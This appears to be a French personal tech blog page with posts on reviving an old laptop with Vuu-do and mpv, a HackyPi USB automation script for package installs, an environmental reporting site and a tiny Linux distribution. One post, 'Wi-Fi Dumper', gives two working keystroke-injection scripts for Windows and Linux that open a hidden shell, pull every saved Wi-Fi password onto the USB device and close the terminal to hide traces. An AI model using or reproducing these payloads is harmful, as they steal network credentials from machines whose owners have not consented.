lundi 28 septembre 2026

Récupération d'un portable Compaq 2Go avec Pentium T2330 + MPV pour Youtube

Vuu-do-5.03-ob-max-z-20260908_1701

Vuu-do est un projet léger basé sur Devuan et utilisant le gestionnaire de fenêtres Openbox. Il existe des versions mini à personnaliser, ainsi que des versions complètes avec des programmes préinstallés. Une suite d'applications Vuu-do est également disponible, ainsi que des images ISO de Devuan Mate, certaines intégrant Xlibre. Attention : les images actuelles ne sont pas compatibles UEFI !

Commandes Intallation MPV et Lecture de videos / Youtube

# installation
sudo apt install mpv yt-dlp
# lecture
mpv "URL_de_la_video"

Le glisser-déposer d'une URL YouTube directement dans la fenêtre de mpv fonctionne parfaitement et lancera la vidéo instantanément.
Le fichier mpv.desktop sur le bureau doit avoir les permission en exécutable et contient quelque chose comme :
[Desktop Entry]
Type=Application
Name=mpv Media Player
Name[ca]=Reproductor multimèdia mpv
Name[cs]=mpv přehrávač
Name[da]=mpv-medieafspiller
Name[fr]=Lecteur multimédia mpv
Name[ja]=mpv メディアプレイヤー
Name[pl]=Odtwarzacz mpv
Name[ru]=Проигрыватель mpv
Name[tr]=mpv Ortam Oynatıcı
Name[zh_CN]=mpv 媒体播放器
Name[zh_TW]=mpv 媒體播放器
GenericName=Multimedia player
GenericName[cs]=Multimediální přehrávač
GenericName[da]=Multimedieafspiller
GenericName[fr]=Lecteur multimédia
GenericName[ja]=マルチメディアプレイヤー
GenericName[ru]=Мультимедийный проигрыватель
GenericName[tr]=Çoklu ortam oynatıcı
GenericName[zh_CN]=多媒体播放器
GenericName[zh_TW]=多媒體播放器
Comment=Play movies and songs
Comment[ca]=Reproduïu vídeos i cançons
Comment[cs]=Přehrává filmy a hudbu
Comment[da]=Afspil film og sange
Comment[de]=Filme und Musik abspielen
Comment[es]=Reproduzca vídeos y canciones
Comment[fr]=Lire des vidéos et des musiques
Comment[ja]=映画や音楽を再生する
Comment[it]=Lettore multimediale
Comment[pl]=Odtwarzaj filmy i muzykę
Comment[ru]=Воспроизведение фильмов и музыки
Comment[tr]=Filmleri ve şarkıları oynatın
Comment[zh_CN]=播放电影和歌曲
Comment[zh_TW]=播放電影和歌曲
Icon=mpv
TryExec=mpv
Exec=mpv --player-operation-mode=pseudo-gui -- %U
Terminal=false
Categories=AudioVideo;Audio;Video;Player;TV;
MimeType=application/ogg;application/x-ogg;application/mxf;application/sdp;application/smil;application/x-smil;application/streamingmedia;application/x-streamingmedia;application/vnd.rn-realmedia;application/vnd.rn-realmedia-vbr;audio/aac;audio/x-aac;audio/vnd.dolby.heaac.1;audio/vnd.dolby.heaac.2;audio/aiff;audio/x-aiff;audio/m4a;audio/x-m4a;application/x-extension-m4a;audio/mp1;audio/x-mp1;audio/mp2;audio/x-mp2;audio/mp3;audio/x-mp3;audio/mpeg;audio/mpeg2;audio/mpeg3;audio/mpegurl;audio/x-mpegurl;audio/mpg;audio/x-mpg;audio/rn-mpeg;audio/musepack;audio/x-musepack;audio/ogg;audio/scpls;audio/x-scpls;audio/vnd.rn-realaudio;audio/wav;audio/x-pn-wav;audio/x-pn-windows-pcm;audio/x-realaudio;audio/x-pn-realaudio;audio/x-ms-wma;audio/x-pls;audio/x-wav;video/mpeg;video/x-mpeg2;video/x-mpeg3;video/mp4v-es;video/x-m4v;video/mp4;application/x-extension-mp4;video/divx;video/vnd.divx;video/msvideo;video/x-msvideo;video/ogg;video/quicktime;video/vnd.rn-realvideo;video/x-ms-afs;video/x-ms-asf;audio/x-ms-asf;application/vnd.ms-asf;video/x-ms-wmv;video/x-ms-wmx;video/x-ms-wvxvideo;video/x-avi;video/avi;video/x-flic;video/fli;video/x-flc;video/flv;video/x-flv;video/x-theora;video/x-theora+ogg;video/x-matroska;video/mkv;audio/x-matroska;application/x-matroska;video/webm;audio/webm;audio/vorbis;audio/x-vorbis;audio/x-vorbis+ogg;video/x-ogm;video/x-ogm+ogg;application/x-ogm;application/x-ogm-audio;application/x-ogm-video;application/x-shorten;audio/x-shorten;audio/x-ape;audio/x-wavpack;audio/x-tta;audio/AMR;audio/ac3;audio/eac3;audio/amr-wb;video/mp2t;audio/flac;audio/mp4;application/x-mpegurl;video/vnd.mpegurl;application/vnd.apple.mpegurl;audio/x-pn-au;video/3gp;video/3gpp;video/3gpp2;audio/3gpp;audio/3gpp2;video/dv;audio/dv;audio/opus;audio/vnd.dts;audio/vnd.dts.hd;audio/x-adpcm;application/x-cue;audio/m3u;
X-KDE-Protocols=ftp,http,https,mms,rtmp,rtsp,sftp,smb,srt,rist,webdav,webdavs
StartupWMClass=mpv
Keywords=mpv;media;player;video;audio;tv;

Wi-Fi Dumper sur HackPi

Sur windows :

import time

import usb_hid

from adafruit_hid.keyboard import Keyboard

from adafruit_hid.keycode import Keycode

from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY


# Initialisation du clavier

kbd = Keyboard(usb_hid.devices)

layout = KeyboardLayoutFR(kbd)


def press_combo(key1, key2):

    kbd.press(key1)

    kbd.press(key2)

    time.sleep(0.1)

    kbd.release_all()

    time.sleep(0.5)


def envoyer_commande(texte):

    layout.write(texte)

    time.sleep(0.1)

    kbd.send(Keycode.ENTER)

    time.sleep(0.4)


# --- DÉBUT DE L'EXTRACTION ---

# 1. Attente de sécurité après le branchement USB

time.sleep(4)


# 2. Ouvrir la boîte de dialogue "Exécuter" (Win + R)

press_combo(Keycode.GUI, Keycode.R)

time.sleep(0.8)


# 3. Ouvrir PowerShell en arrière-plan et de manière discrète

# -WindowStyle Hidden permet de masquer rapidement la fenêtre pour rester discret

envoyer_commande("powershell -WindowStyle Hidden")

time.sleep(1.5)


# 4. Commande PowerShell pour extraire les mots de passe Wi-Fi et les enregistrer sur le HackyPi

# Le script cherche un lecteur USB contenant un dossier ou nommé 'HACKYPI' pour y écrire 'wifi_passwords.txt'

commande_payload = (

    "$drive = (Get-Volume | Where-Size -FilterScript {$_.DriveLetter -and ($_.FileSystemLabel -eq 'HACKYPI' -or $_.FriendlyName -like '*HackyPi*')}).DriveLetter;"

    "if (-not $drive) { $drive = (Get-WMIObject Win32_Volume | Where-Object {$_.DriveType -eq 2} | Select-Object -First 1).DriveLetter };"

    "$log = \"${drive}:\\wifi_passwords.txt\";"

    "(netsh wlan show profiles) | Select-String '\\:(.+)$' | ForEach-Object { $name = $_.Matches.Groups[1].Value.Trim(); "

    "if ($name) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Contenu de la cl' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' }; "

    "if (-not $pass) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Key Content' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' } }; "

    "\"SSID: $name | Password: $pass\" >> $log } }; exit"

)


# 5. Injection et exécution de la commande

envoyer_commande(commande_payload)

Sur Linux être root/admin :
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY

# Initialisation du clavier
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutFR(kbd)

# --- CONFIGURATION ---
MOT_DE_PASSE_SUDO = "votre_mot_de_passe"  # REQUIS sous Linux pour lire les clés de sécurité

def press_combo(key1, key2, key3=None):
    kbd.press(key1)
    kbd.press(key2)
    if key3:
        kbd.press(key3)
    time.sleep(0.1)
    kbd.release_all()
    time.sleep(0.5)

def envoyer_commande(texte):
    layout.write(texte)
    time.sleep(0.1)
    kbd.send(Keycode.ENTER)
    time.sleep(0.4)

# --- DÉBUT DE L'EXTRACTION ---
time.sleep(4) # Attente après le branchement USB

# 1. Ouvrir le terminal Linux (Ctrl + Alt + T)
press_combo(Keycode.CONTROL, Keycode.ALT, Keycode.T)
time.sleep(1.5)

# 2. Trouver dynamiquement la lettre de volume de la carte SD du HackyPi (nommée HACKYPI)
# Cette commande cherche le point de montage de la clé USB pour savoir où écrire le fichier de log.
commande_trouver_cle = "SD_PATH=$(df | grep -i 'HACKYPI' | awk '{print $6}')"
envoyer_commande(commande_trouver_cle)

# Fallback au cas où la clé n'est pas encore montée graphiquement (écriture dans /tmp)
envoyer_commande("if [ -z \"$SD_PATH\" ]; then SD_PATH='/tmp'; fi")

# 3. Commande d'extraction de tous les mots de passe stockés par NetworkManager
# On parcourt chaque fichier de configuration et on extrait le SSID (nom) et la clé PSK (mot de passe)
payload_linux = (
    "sudo bash -c 'echo \"--- Réseaux Wi-Fi Extraits ---\" > \"$SD_PATH/wifi_passwords_linux.txt\"; "
    "for f in /etc/NetworkManager/system-connections/*; do "
    "if [ -f \"$f\" ]; then "
    "ssid=$(grep -E \"^id=\" \"$f\" | cut -d= -f2); "
    "psk=$(grep -E \"^psk=\" \"$f\" | cut -d= -f2); "
    "if [ ! -z \"$psk\" ]; then echo \"SSID: $ssid | Mot de passe: $psk\" >> \"$SD_PATH/wifi_passwords_linux.txt\"; fi; "
    "fi; done'"
)

# 4. Envoi de la commande d'extraction
envoyer_commande(payload_linux)
time.sleep(1)

# 5. Injection du mot de passe sudo pour valider la lecture des fichiers protégés
envoyer_commande(MOT_DE_PASSE_SUDO)
time.sleep(2)

# 6. Nettoyage : Fermer le terminal pour ne laisser aucune trace visible
envoyer_commande("exit")

Script MicroPython : Installation native APT + Flatpak sur le HackPi

import time

import usb_hid

from adafruit_hid.keyboard import Keyboard

from adafruit_hid.keycode import Keycode

from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Layout AZERTY


# Initialisation du clavier

kbd = Keyboard(usb_hid.devices)

layout = KeyboardLayoutFR(kbd)


# --- CONFIGURATION ---

MOT_DE_PASSE_SUDO = "votre_mot_de_passe" # Laissez vide "" si vous préférez le taper vous-même


# Applications APT classiques (requis pour installer flatpak lui-même)

LOGICIELS_APT = "curl git flatpak" 


# Applications Flatpak (Utilisez les identifiants uniques de Flathub)

# Exemple : Spotify, Discord, et LibreOffice

LOGICIELS_FLATPAK = "com.spotify.Client com.discordapp.Discord org.libreoffice.LibreOffice"


def press_combo(key1, key2, key3=None):

    kbd.press(key1)

    kbd.press(key2)

    if key3:

        kbd.press(key3)

    time.sleep(0.1)

    kbd.release_all()

    time.sleep(0.5)


def envoyer_commande(texte):

    layout.write(texte)

    time.sleep(0.1)

    kbd.send(Keycode.ENTER)

    time.sleep(0.5)


# --- DÉBUT DE L'AUTOMATISATION ---

time.sleep(3) # Attente après branchement USB


# 1. Ouverture du terminal (Ctrl + Alt + T)

press_combo(Keycode.CONTROL, Keycode.ALT, Keycode.T)

time.sleep(1.5)


# 2. Mise à jour APT et installation du gestionnaire Flatpak

envoyer_commande("sudo apt update && sudo apt install -y " + LOGICIELS_APT)

if MOT_DE_PASSE_SUDO:

    envoyer_commande(MOT_DE_PASSE_SUDO)

    time.sleep(15) # Temps d'attente pour l'installation d'APT et de Flatpak


# 3. Ajout du dépôt officiel Flathub

envoyer_commande("flatpak remote-add --if-not-exists flathub https://flathub.org")

time.sleep(2)


# 4. Installation massive des applications Flatpak (-y pour valider automatiquement)

# L'option --noninteractive évite que Flatpak ne demande des confirmations de permissions

commande_flatpak = f"flatpak install -y --noninteractive flathub {LOGICIELS_FLATPAK}"

envoyer_commande(commande_flatpak)


# Fin du script


lundi 21 septembre 2026

#signaler une dégradation environnementale #depots #sauvages#dechets

sentinellesdelanature.fr/signaler.html

/Android - /Apple

Sentinelles de la Nature est une plateforme participative de veille écologique créée par le mouvement France Nature Environnement pour signaler les dégradations environnementales et valoriser les actions positives.

mardi 15 septembre 2026

Flinux à partir de zéro en version Core ??? @LocosporLinux #minidistrib #distribution #light #legere #32bits



Flinux [dernière version core] est un fork récent de Tiny Core vraiment pour les ordinosaures.
Parmis les distributions linux permettant d'utiliser du 32bits sur quelques centaines de Mo avec un bureau et quelques logiciels actuels.
Je trouvais Slitaz pas aussi personnalisable et les autres pas encore assez légères :

Archives du blog